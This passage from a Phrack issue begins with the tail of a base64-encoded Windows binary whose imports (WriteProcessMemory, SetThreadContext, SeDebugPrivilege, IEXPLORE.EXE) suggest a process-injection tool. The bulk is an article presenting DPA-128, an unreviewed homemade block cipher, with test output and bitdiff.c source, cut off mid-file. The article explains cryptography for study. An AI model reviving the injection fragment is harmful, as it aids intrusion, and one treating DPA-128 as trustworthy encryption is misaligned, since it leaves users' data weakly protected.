AAD+IQAAECIAACAiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAA
AAGgBDbG9zZUhhbmRsZQAtAENyZWF0ZUV2ZW50QQAASQBDcmVhdGVUb29saGVscDMyU25h
cHNob3QAAIAARXhpdFByb2Nlc3MA2wBHZXRDdXJyZW50UHJvY2VzcwBMAUdldFRocmVhZE
NvbnRleHQAANEBT3BlblByb2Nlc3MA1AFPcGVuVGhyZWFkAADeAVByb2Nlc3MzMkZpcnN0
AADgAVByb2Nlc3MzMk5leHQABwJSZXN1bWVUaHJlYWQAAE8CU2V0VGhyZWFkQ29udGV4dA
AAYAJTbGVlcABiAlN1c3BlbmRUaHJlYWQAaQJUZXJtaW5hdGVUaHJlYWQAagJUaHJlYWQz
MkZpcnN0AGsCVGhyZWFkMzJOZXh0AACCAlZpcnR1YWxBbGxvY0V4AACEAlZpcnR1YWxGcm
VlRXgAjwJXYWl0Rm9yU2luZ2xlT2JqZWN0AKcCV3JpdGVQcm9jZXNzTWVtb3J5AAC5Amxz
dHJjbXBpQQBrZXJuZWwzMi5kbGwAABkAQWRqdXN0VG9rZW5Qcml2aWxlZ2VzABQBTG9va3
VwUHJpdmlsZWdlVmFsdWVBAGMBT3BlblByb2Nlc3NUb2tlbgAAYWR2YXBpMzIuZGxsAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAElFWFBMT1JFLkVYRQBTZURlYnVnUHJpdmlsZWdlAFRJTlkwAAAA
AABgnGgAAAAA6AcAAACdYekAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA""")
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x0e of 0x10
|=---------=[ A Dynamic Polyalphabetic Substitution Cipher ]=------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ Veins <veins at tristeza.org> ]=--------------------=|
1 - Introduction
1.1 - First of all, a reminder. What is polyalphabetic substitution ?
1.2 - Weaknesses in polyalphabetic substitution
2 - IMPLEMENTATION OF DPA-128
2.1 - DPA-128 used as a one way hash function
2.2 - DPA-128 used as PRNG
3 - Acknowledgment
4 - References
5 - Source Code
--[ 1 - Introduction
In Phrack #51, mythrandir discussed the cryptanalysis of monoalphabetic
ciphers and basic substitutions and transpositions. This paper discusses a
different substitution known as 'polyalphabetic substitution' and how some
mechanisms can be implanted to take advantage of its characteristics. This
document will then focus on 'dynamic polyalphabetic substitution' which is
an evolution of polyalphabetic substitution with key-dependant s-tables.
A "functional-but-still-work-in-progress" cipher will be presented. It is
a 128-bits secret-key block cipher that uses polyalphabetic s-tables which
are highly dependant of the key. The cipher, DPA-128, consists in a simple
function that makes 3 operations on the block. It is not a Feistel network
but still respects Shannon's principles of diffusion and confusion. It has
only been reviewed by a few people, so I strongly discourage its use as it
has not proven anything yet. However, if you use it and have any comments,
I'd be glad to hear from you, but remember, do not encrypt sensitive stuff
cause someone will probably come, break the cipher and go spreading all of
your secrets on IRC ;)
Finally, just to clarify a few things. I use the acronym DPA (for "dynamic
polyalphabetic algorithms") in this document to refer to key dependancy in
polyalphabetic substitution. I've seen people using the term "dynamic" for
ciphers that used polyalphabetic substitution in a mode that uses a pseudo
random vector (CBC for example). While I'll keep using the acronym, assume
that key-dependant substitution works in total abstraction of the mode and
DPA-128 has an implementation of both ECB and CBC modes as I'm writing.
Also, while I have not seen a dynamic polyalphabetic cipher implementation
it does not mean that all of the ideas in this paper are new. DES had some
variants that performed key-dependant substitutions by exchanging lines of
s-tables, and several ciphers use one-way hash functions for subkeys.
----[ 1.1 - First of all, a reminder. What is polyalphabetic substitution ?
Polyalphabetic substitution is an hybrid between transposition and
substitution.
Transposition consists in reordering the characters in the plaintext to
produce the cipher:
Assume my secret message is:
THIS IS MY SECRET MESSAGE DONT READ IT, ARAM SUCKS
After transposing it in a 8 columns table, it becomes:
T H I S I S M Y
S E C R E T M E
S S A G E D O N
T R E A D I T A
R A M S U C K S
The cipher is produced by reading the columns instead of the lines:
TSSTR HESRA ICAEM SRGAS IEEDU STDIC MMOTK YENAS
While substitution consists in interchanging the characters in the
plaintext to produce the cipher:
Assume my secret message is:
THIS IS ANOTHER ATTEMPT TO PRESERVE MY PRIVACY
Substitution alphabet is a simple rearrangement:
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Y Z W X U V S T Q R O P K L M N I J G H E F C D A B
The cipher is produced by replacing the letter in plaintext by the new
letter in the rearranged alphabet:
HTQG QG YLMHTUJ YHHUKNH HM NJUGUJFU KA NJQFYWA
Note that both these methods do not even require a key, the parties that
wish to share the secret, have to share the "protocol" which is the
number of columns for the transposition, or the rearranged alphabet for
the substitution. In practice, there are methods to use keys with both
substitution and transposition but in the end, both are insecure with or
without a key. I won't go through the description of how you can break
these, the methods were described in phrack #51 if I recall correctly
and they are so simple that some tv magazines use these on their game
pages.
Now let's get back to polyalphabetic substitution.
A transposed substitution table looks like this more or less:
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
This is known as the "Vigenere Table", because it was invented by Blaise
Vigenere (a French mathematician, if you care). Unlike transposition and
substitution, a key is required.
Assume my secret key is:
BLEH
Assume my secret message is:
LAST ATTEMPT
The ciphertext is the intersection of each character of the secret key with
each character of the secret message. Key characters are seeked on the very
first line, and message characters are seeked on the very first column.
Since the key is shorter than the message, it is padded with itself so that
it becomes:
BLEHBLEHBLE
If it was longer, then either the message would be padded with random crap
or the key would be truncated (this is more common).
The cipher is obtained by replacing a letter in the message by the
intersection of current message character and current key character in the
table. The secret message becomes:
MLWABUXLNAX
As you may notice, even though a character may appear two or more times in
the plaintext, it is not encrypted the same way in the ciphertext depending
on which character from the key is used for the substitution. This is what
"polyalphabetic" means in "polyalphabetic substitution". It was known for a
while as the "unbreakable cipher" and a variant was used successfuly during
Second World War by the Resistance against the Germans.
While this sounds stronger than transposition and substitution, it is still
very weak and unless a RNG is used to generate a key that is as long as the
data to encrypt (one-time pad), it is possible to recover the key size, the
key itself and/or the message with enough data to analyze. The methods used
to break this kind of cipher is out of the scope of this paper but a search
on google will give you enough hints ;)
Polyalphabetic tables have three interesting properties:
a) f(a, b) == c
f(a, b) == f(b, a)
but... f(a, c) != b
and assuming c = f(a, b), then there is a f1 such as f1(a, c) == b
b) using the ASCII layout, there are 256^2 combinations which will
produce 256 possible results (including the original character).
c) if we assume that the key is truly random AND has the same size
as the message to encrypt, then all results are equiprobable.
and equiprobability means that:
- if you only take one character in the ciphertext, then you have as
many chances for it to be any cleartext character. They all appear
the exact same number of times in the table and are the result of
as many combinations each.
- there is no "useless" substitution. If substitution of character 'A'
results in character 'A', then it is not considered as a useless
substitution as it had as many chances to be out than any other.
----[ 1.2 - Weaknesses in polyalphabetic substitution
As I previously said, the above cipher is weak. The weaknesses are
numerous and mostly related to the cipher leaking informations about the
cleartext, the key and/or the substitution table. If one can encrypt data
using the same key, he can determine the size of the key with one message
and determine the structure of the substitution table with another, giving
him all the necessary information to understand the ciphertext and any
other ciphertext encrypted using the same key. But don't get this wrong,
he doesn't HAVE to be able to encrypt data, this is just a convenience ;)
The fact that the key is concatenated to itself does not make a change,
and actually an implementation on computer would work on data using a
modulo on the size of the key to save memory.
The reasons why it is so easy are described here:
- if one chooses a key A and a key B such as they only differ by
one bit, then the ciphertext will only differ by one byte.
- if one chooses a message A and a message B such as they also
only differ by one bit, then the ciphertext will differ by one
byte.
- if one changes one bit in ciphertext and decrypts it, the
resulting message will only differ by one byte.
- if one has partial knowledge of the key, or of the message,
then he can determine which substitutions are not probable and
therefore reduce drastically the complexity of an attack. Also
partial knowledge of the key or the message gives statistical
analysis a chance to break the ciphertext when polyalphabetic
substitution had all the characteristics needed to prevent that
from happening.
So... let's sum things up. Polyalphabetic substitution as described above
is vulnerable to chosen texts attack, known texts attack, key correlation
attack and eventually statistical attacks. Oh... almost forgot... any
partial information reveals information about other unrelated data. If I
partially know the plaintext, then with access to the ciphertext I am
able to recover partially the key, with partial knowledge of the key and
access to the ciphertext, i am able to recover partially the plaintext.
There is not one point of failure, there are only points of failures...
----[ 1.3 - Theory of information
Shannon described two properties that a block cipher should have
in order to be strong. Not that all ciphers respecting these are strong,
but those that do not respect it are most likeley weak.
These properties are 'confusion' and 'diffusion'. The first one is what
we achieve with polyalphabetic substitution, incapacity to deduce from a
single encrypted byte, with no other information, the result of which
substitution it is. This is because of the equiprobabiliy polyalphabetic
tables gives us. The second is diffusion, which is lacking from the
above cipher, and one of the reason why it is so vulnerable.
Diffusion is a characteristic where a minor cause produces a major
result. It is sometimes called 'cascading effect'.
Basically, diffusion should ensure that a one-bit change in the key
alters the whole ciphertext, that a one-bit change in the plaintext
also alters the whole ciphertext and that a one-bit change in the
ciphertext alters the whole plaintext. This complete alteration is
only in appearance, and a better look at the complete ciphertext
would reveal an average of half bits modified as you'll notice in the
output of `bitdiff` later in this paper.
While it is difficult to decide wether or not a cipher has a
correct confusion and diffusion, they both produce an entropic result that
can be measured using several methods. These methods will be used in this
paper but explained further in the references. A cipher not producing true
entropy is weak, true entropy (== white noise).
One way to add confusion is to ensure that the ciphertext is not dependant
of the key on a character basis. Changing one bit of the key should change
the whole ciphertext. This can be achieved by the use of a one-way hash
function for key generation. Some one-way hash functions have properties
that make them suitable for use, these are:
h = f(M)
- no matter the length of M, h has a fixed size
- assuming M, it should be easy to compute h
- assuming h, it should be difficult to compute M
- a one-bit change in M alters half the bits in h (in average).
- it should be hard to find a M' to a fixed M such as f(M) = f(M')
- it should be hard to find any M and M' such as f(M) = f(M')
The two last properties seem to be identical but in practice it is "easier"
to produce a random collision, than to produce a collision for an expected
output. Assuming h is 128-bits long, finding a particular collision takes
at most 2^128 tries, while finding a collision takes at most 2^64 tries.
This is known as the anniversary attack.
The use of such a function will make key correlation hardly practicable as
choosing two keys that have a relation will result in subkeys that have no
relation at all, even if the relation is a single bit difference. I am not
even mentionning attacks based on partial knowledge of the key ;)
Also, this will prevent users from choosing weak keys, purposedly or not,
as it will be difficult to find a key that will produce a weak key
(assuming that there are weak keys ;) once passed throught the one-way hash
function. By weak key, I do not mean keys like "aaaa" or "foobar", but keys
that will produce a subkey that introduces a weakness in the encryption
process (such as DES's four weak keys).
The function not being reversible, partial knowledge of plaintext and
access to ciphertext does not reveal the key but the subkey from which you
cannot obtain information about the key. If the algorithm iterates for
several rounds, it is possible to generate subkeys by calling f on previous
subkey:
round1: f(k)
round2: f(f(k))
round3: f(f(f(k)))
and so on...
Note that there is nothing that prevents an implementation from precomputing
the subkeys for better performances (this is what my implementation does)
instead of computing them for each block.
The characteristics remains, knowing the subkey for round3 does not give
information about the subkey used for round2 or round1. That is one of the
failure points plugged ;)
Finally, this will increase confusion by creating a relation between each
single bit of the user input key and each byte of the ciphertext.
Unfortunately, this is not enough. We added confusion but even though it
is theoritically not possible to retrieve the key, even by having access
to the full message and the full ciphertext, it is still possible with a
partial knowledge to retrieve the subkey and to decrypt any data that is
encrypted with the original key. This is where diffusion comes into play
with a method called 'byte chaining'. Byte chaining is to a block what
block chaining is to a ciphertext, a propagation of changes which will
affect all subsequent data. This is done with a simple Xor, where each
byte of the block is xor-ed with the next one (modulo size of the block
to have the last one be xor-ed with the first one). That way, a single
bit change in a byte will have repercussion on every byte after that one.
If the function used to encrypt data is called for more than one round,
then all bytes are guaranteed to have been altered by at least one byte.
This operation is done before encryption so that the result of an
encrypted byte is dependant not only of the current byte but of all the
ones that were used for the byte chaining. As rounds occur, cascading
effect takes place and the change propagates through the block.
It is possible to increase complexity by using a key-related permutation
before encryption. DPA-128 uses a key-related shifting instead but this
can be considered as a permutation in some way. Some functions known as
'string hash functions' can compute an integer value out of a string.
They are commonly used by C developpers to create hash tables and they
are pretty simple to write. It is possible to use these functions on a
subkey to create a key-related circular shifting within the block:
- we have a subkey for the round that we computed using f, this subkey
is hashed to produce an integer. the hash function does not have to
respect any constraints because of f properties. the paranoiac could
implement a function that has low collisions and a nice repartition
but since it is applied on the result of f, it inherits some of its
characteristics.
- assuming the block size is 128, we reduce that integer to 128
(7 bits) there is no magic stuff here, just a modulo.
- the result is used to shift the block circularly >>>
Note that the key-relation for the shifting has no more security than
a simple byte shifting - at least on Vigenere table - but only adds
more confusion. It was initially introduced as a security measure for
substitution tables that had not equiprobable results.
It prevents elimination of some substitution combinations by analyzing
which bits are set in an encrypted byte when you know its plaintext
equivalent. From the ciphertext, it is not possible to determine wether
a block was shifted (the hash value of the key could have been 0 or some
product of 128, who knows ;) and if it was shifted, it is not possible to
know where the bits come from (which byte they were on originally and
what was their position) which makes it difficult to determine if the
bit of sign on a particular byte is really a bit of sign or not and if it
was part of that byte or not. Also, the shifting is dependant from the
subkey used for a round so it will be different at each round and help
diffusion through the byte chaining phase.
Finally, it is possible, using the same method, to create a relation
between a subkey and the substitution table. This is where dynamic
polyalphabetic substitution comes into play !
As we've seen, a polyalphabetic substitution has 256^2 substitutions
with 256 outcomes. This means that if an attacker would want to try
all combinations possible, he would have to try 256 combinations
for a character to be sure the right couple was used (if he knew the
structure of the substitution table, or 256^2 otherwise). It is
possible to increase that value by creating a relation between the key
and the substitution table. There are 256 characters, so it is possible
to create 256 different tables by shifting ONE byte on each line:
instead of:
0 1 2 3 4 5 6 7 8 9 ...
1 2 3 4 5 6 7 8 9 ...
2 3 4 5 6 7 8
3 4 5 6 7 8
4 5 6 7 8
5 ....
...
we end with (n being the shift):
n%256 (n+1)%256 (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 ...
(n+1)%256 (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 ...
(n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 (n+6)%256
(n+3)%256 (n+4)%256 (n+5)%256 (n+6)%256 (n+7)%256
(n+4)%256 (n+5)%256 (n+6)%256 (n+7)%256 (n+8)%256
(n+5)%256 (n+6)%256 (n+7)%256 (n+8)%256 (n+9)%256
(n+6)%256 ...
...
This means that an attacker would need to try 256^2 combinations
before he knows for sure the right combination was used. he needs to
try the same combinations as before but with every variation of 'n'.
'n' can be computed using the same method as for the block shifting
but since there are 256 possible shifts for the substitution table,
then the result will be reduced modulo 256 (8 bits).
The tables being structured in a logical way, they can be represented
by arithmetics which removes the need to store the 256 possible tables
and saves quite a bit of memory. It is also possible with more work to
create polyalphabetic s-tables that are shuffled instead of shifted,
such tables would still share the characteristics of polyalphabetism
but prevent partial knowledge of the table from deducing the full
internal structure. I did not have enough time to keep on working on
this so I am unable to give an example of these, however, simple
tables such as the one above is sufficient in my opinion.
k being the character from the key, d being the character from the
message and s being the shifting.
encryption can be represented using this equation:
(k + d + s) mod 256
while decryption is:
((256 + d) - k - s) mod 256
The amusing part is that when you play with statistics, you get a very
different view if you are in the position of the attacker or of the
nice guy trying to keep his secret. Assuming there are 'n' rounds, then
you have (256^2) * m substitutions useable where 1 <= m <= n and n <= 256.
This is because some subkeys might produce identical substitution tables.
In another hand, and im not doing the maths for this ;), the attacker has
not only to figure out which substitutions were done, but also the tables
in which they were done... in the exact same order... out of data that
does not inform him on the subkeys used to generate the tables he is
trying to determine the structure of ;)
The result is NOT equiprobable, because it would require exactly 256
rounds with different tables which is hardly doable (just determining
if it is doable requires trying 2^128^256 keys if im correct), but
from the attacker point of view, even an exhaustive search might
create an indecision because many keys will probably result in the
same cipher if applied to different messages (many will produce the
same cipher if applied to garbage too ;).
--[ 2 - IMPLEMENTATION OF DPA-128
As I said, DPA-128 is a secret-key block cipher. Its block and key size
are 128-bits. This is not a limitation imposed by the algorithm which
is easily adaptable to different key and block sizes. It consists of
16 rounds, each performing:
- a byte chaining;
- a subkey-related shifting;
- a subkey-related polyalphabetic substitution;
All of the rounds have their own subkey.
The implementation uses all of the ideas explained in this paper and
before I provide the code, here are a few tests performed on it.
----[ 2.1 - DPA-128 used as a one way hash function
Bruce Schneier explained in "Applied Cryptography" that some ciphers can
be turned into one way hash functions by using them in BC modes (CBC for
that matter) using a fixed key and initialization vector with more or
less efficiency. It is hard to determine if DPA-128 is efficient because
it was not been analyzed by many people and I consider it as efficient
to produce checksums as to encrypt. If there is a weakness in the cipher
then the checksum will not be secure. The same applies to DPA-128 used
as a PRNG. So... I did some testing ;)
I used three tools, the first one 'bitdiff' is a little utility that goes
through two files and compares them bit per bit. It then outputs the
number of bits that have changed and the repartition of zero's and one's.
A sample output looks like this:
% ./bitdiff file1 file2
64 bits have changed.
ratio for file1:
0's: 55
1's: 73
ratio for file2:
0's: 71
1's: 57
I also used a tool 'segments', which counts segments of identical bits in
a file. A sample output looks like this:
% ./segments file1
0's segments:
1 => 19
2 => 6
3 => 4
4 => 0
1's segments:
1 => 13
2 => 7
3 => 3
4 => 3
Finally, I used an existing tool called 'ent' which is available at
http://www.fourmilab.ch/random/
which performs several entropy tests, helping determine:
- if DPA-128 passes deterministic tests and how does it compare to a
PRNG (I used NetBSD's /dev/urandom).
- what is the impact to a checksum when a bit changes in a file.
Theoritically, an equiprobable cipher would not be a nice idea for a
one-way hash function as it would be easily subject to collisions, but
as I explained, the result seems to be equiprobable while there is a
limited range of possible substitution for a fixed key.
I checksum-ed /etc/passwd three times, the first one was the real file,
the second one was the file with a one bit change and the third one was
the file with a 6 bytes addition. All bytes where affected, tests with
bitdiff showed that a one bit change produced an average of 60 bits
modified in the 128 bits checksum.
% ./dpa sum passwd |hexdump
0000000 be85 3b72 1a76 48e6 5d08 939b 104f 3f23
0000010
% ./dpa sum passwd.1 | hexdump
0000000 f9d3 c5fe d146 2170 144d 900d 0e99 c64b
0000010
% ./dpa sum passwd.2 | hexdump
0000000 fa19 4869 3f61 798a 2e81 91e9 bc92 78ee
0000010
After i redirected the checksums to files, i call bitdiff on them. The
files do not contain the hexadecimal representation, but the real
128 bits outputs:
% ./bitdiff passwd.chk passwd.1.chk
63 bits have changed.
ratio for passwd.chk:
0's: 65
1's: 63
ratio for passwd.1.chk:
0's: 68
1's: 60
% ./bitdiff passwd.chk passwd.2.chk
61 bits have changed.
ratio for passwd.chk:
0's: 65
1's: 63
ratio for passwd.2.chk:
0's: 64
1's: 64
You'll notice a nice repartition of zero's and one's, lets' see what
segments has to say about this:
% ./segments passwd.chk
0's segments:
1 => 13
2 => 10
3 => 3
4 => 2
1's segments:
1 => 15
2 => 4
3 => 5
4 => 0
% ./segments passwd.1.chk
0's segments:
1 => 11
2 => 8
3 => 5
4 => 3
5 => 0
1's segments:
1 => 13
2 => 9
3 => 2
4 => 0
5 => 1
% ./segments passwd.2.chk
0's segments:
1 => 12
2 => 10
3 => 3
4 => 1
5 => 0
1's segments:
1 => 16
2 => 3
3 => 4
4 => 3
5 => 1
Well all we can notice is that there are mostly small segments and that
they are well reparted. I'm skipping the entropy test since it will
illustrate the use of DPA-128 as a PRNG ;)
----[ 2.2 - DPA-128 used as PRNG
For the following tests concerning segments and entropy:
- the file 'urandom.seed' consists in 1024 bytes read from NetBSD 1.6.1's
/dev/urandom
- the file 'dpa.seed' consists in the result of an ECB encryption on dpa's
main.c and a reduction of the output to 1024 bytes.
This means that while tests on urandom.seed apply to the result of a PRNG,
the tests on dpa.seed can be reproduced. It shows good entropy on
encrypting a fixed value and the results should be quite the same if used
as a PRNG. The tests that are performed by 'ent' are described on their
website, I'm not going to describe them here because it is out of the
scope of this paper and I would do it far less better than their
page does.
% ./segments urandom.seed
0's segments:
1 => 1019
2 => 418
3 => 212
4 => 88
5 => 35
6 => 18
1's segments:
1 => 1043
2 => 448
3 => 179
4 => 74
5 => 32
6 => 13
% ./segments dpa.seed
0's segments:
1 => 1087
2 => 443
3 => 175
4 => 72
5 => 29
6 => 18
1's segments:
1 => 1039
2 => 453
3 => 195
4 => 67
5 => 34
6 => 15
% ./ent -b urandom.seed
Entropy = 0.999928 bits per bit.
Optimum compression would reduce the size
of this 8192 bit file by 0 percent.
Chi square distribution for 8192 samples is 0.82, and randomly
would exceed this value 50.00 percent of the times.
Arithmetic mean value of data bits is 0.4950 (0.5 = random).
Monte Carlo value for Pi is 3.058823529 (error 2.63 percent).
Serial correlation coefficient is -0.002542 (totally uncorrelated = 0.0).
% ./ent -b dpa.seed
Entropy = 1.000000 bits per bit.
Optimum compression would reduce the size
of this 8192 bit file by 0 percent.
Chi square distribution for 8192 samples is 0.00, and randomly
would exceed this value 75.00 percent of the times.
Arithmetic mean value of data bits is 0.5000 (0.5 = random).
Monte Carlo value for Pi is 3.200000000 (error 1.86 percent).
Serial correlation coefficient is -0.003906 (totally uncorrelated = 0.0).
% ./ent -bc urandom.seed
Value Char Occurrences Fraction
0 4137 0.505005
1 4055 0.494995
Total: 8192 1.000000
Entropy = 0.999928 bits per bit.
Optimum compression would reduce the size
of this 8192 bit file by 0 percent.
Chi square distribution for 8192 samples is 0.82, and randomly
would exceed this value 50.00 percent of the times.
Arithmetic mean value of data bits is 0.4950 (0.5 = random).
Monte Carlo value for Pi is 3.058823529 (error 2.63 percent).
Serial correlation coefficient is -0.002542 (totally uncorrelated = 0.0).
% ./ent -bc dpa.seed
Value Char Occurrences Fraction
0 4096 0.500000
1 4096 0.500000
Total: 8192 1.000000
Entropy = 1.000000 bits per bit.
Optimum compression would reduce the size
of this 8192 bit file by 0 percent.
Chi square distribution for 8192 samples is 0.00, and randomly
would exceed this value 75.00 percent of the times.
Arithmetic mean value of data bits is 0.5000 (0.5 = random).
Monte Carlo value for Pi is 3.200000000 (error 1.86 percent).
Serial correlation coefficient is -0.003906 (totally uncorrelated = 0.0).
The last tests must have given you an idea of the confusion, diffusion and
entropy present in a DPA-128 encrypted ciphertext. More results are
available online on my webpage, I just did not want to put too much in
here since they all look the same ;)
--[ 3 - Acknowledgment
I would like to thank a few people:
k` who helped me with previous versions and some parts of dpa-128,
acid, who supported my endless harassement (hey try this please !),
pitufo for being the first dpa-128 tester and benchmarker,
hypno for reading this and spot bad sentences :)
br1an for reading this also and giving advices,
a ph.d whose name will remain private who audited dpa-128
and mayhem who both suggested to write a paper about dpa.
--[ 4 - REFERENCES
. http://www.tristeza.org/projects/dpa/
my page for the dpa project with examples and a lot of testing
. http://www.csua.berkeley.edu/cypherpunks/
cypherpunks
. http://www.fourmilab.ch/random/
entropy tests and their description
. http://www.schneier.com/paper-blowfish-fse.html
a paper on blowfish and what features a cipher should provide
. "applied cryptography", Bruce Schneier
THE book ;)
--[ 5 - Source Code
All of the code is provided under the ISC license, do whatever you want
with it, but please please don't use it to encrypt sensitive data unless
you know what you are doing (that means you could not break it and have
confidence in your skills). The code is NOT optimized for speed, it is
a work in progress and many parts can be improved, i'm just a bit in a
hurry and by the time you read this, it will probably be a lot cleaner ;)
If you plan on using dpa-128 even though I'm still warning you not to,
here are a few recommandations:
- the following code accepts keys both as parameter or as file. It
is preferable for many reasons to use a file, but the best reason
(aside from someone issueing a `ps` at the wrong moment...) is that
you can have your key be the result of a PRNG:
% dd if=/dev/urandom of=/home/veins/.dpa/secret.key bs=1024 count=1
The odds of someone guessing your key become pretty low :)
- use CBC mode. the impact of using CBC mode on performances is too
low to be an excuse for not using it.
To encrypt:
% dpa -a enc -m cbc -k file:secret.key -d file:/etc/passwd -o p.enc
To decrypt:
% dpa -a dec -m cbc -k file:secret.key -d file:p.enc -o p.dec
/*
* Copyright (c) 2004 Chehade Veins <veins at tristeza.org>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* bitdiff.c */
/*
* This is a small utility to compare the bits in two files. It is ugly
* and could be rewritten in a sexier way but it does its job so no
* need to waste time on it ;)
*
*/
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sysexits.h>
int main(int argc, char *argv[])
{
int i;
int size1, size2; /* size counters */
char *s1, *s2;
int s1_0, s1_1; /* in s1: 0s and 1s counter */
int s2_0, s2_1; /* in s2: 0s and 1s counter */
int fd1, fd2;
unsigned int cnt;
unsigned int diff;
unsigned int total;
struct stat sa;
struct stat sb;
if (argc < 3)
return (EX_USAGE);
fd1 = open(argv[1], O_RDONLY);
fd2 = open(argv[2], O_RDONLY);
if (fd1 < 0 || fd2 < 0)
return (EX_SOFTWARE);
fstat(fd1, &sa);
fstat(fd2, &sb);
size1 = sa.st_size;
size2 = sb.st_size;
s1 = mmap(NULL, sa.st_size, PROT_READ, MAP_PRIVATE, fd1, 0);
s2 = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd2, 0);
if (s1 == (void *)MAP_FAILED || s2 == (void *)MAP_FAILED)
return (EX_SOFTWARE);
s1_1 = s2_1 = s1_0 = s2_0 = diff = total = 0;
while (size1 && size2)
{
for (i = 7, cnt = 0; i >= 0; --i, ++cnt)
{
if (((*s1 >> i) & 0x1) != ((*s2 >> i) & 0x1))
++diff;
if ((*s1 >> i) & 0x1)
++s1_1;
else if (((*s1 >> i) & 0x1) == 0)
++s1_0;
if ((*s2 >> i) & 0x1)
++s2_1;
else if (((*s2 >> i) & 0x1) == 0)
++s2_0;
++total;
}
++s1; ++s2; size1--; size2--;
}
if (diff == 0)
printf("bit strings are identical\n");
else
{
printf("%d bits have changed.\n", diff, total);
printf("ratio for %s:\n", argv[1]);
printf("\t0's: %d\n", s1_0);
printf("\t1's: %d\n", s1_1);
printf("\n");
printf("ratio for %s:\n", argv[2]);
printf("\t0's: %d\n", s2_0);
printf("\t1's: %d\n", s2_1);
}
munmap(s1, sa.st_size);
munmap(s2, sb.st_size);
return (EX_OK);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* segments.c */
/*
* This is a small utility to count the segments of identical bits in a
* file. It could also be rewritten in a sexier way but...
*
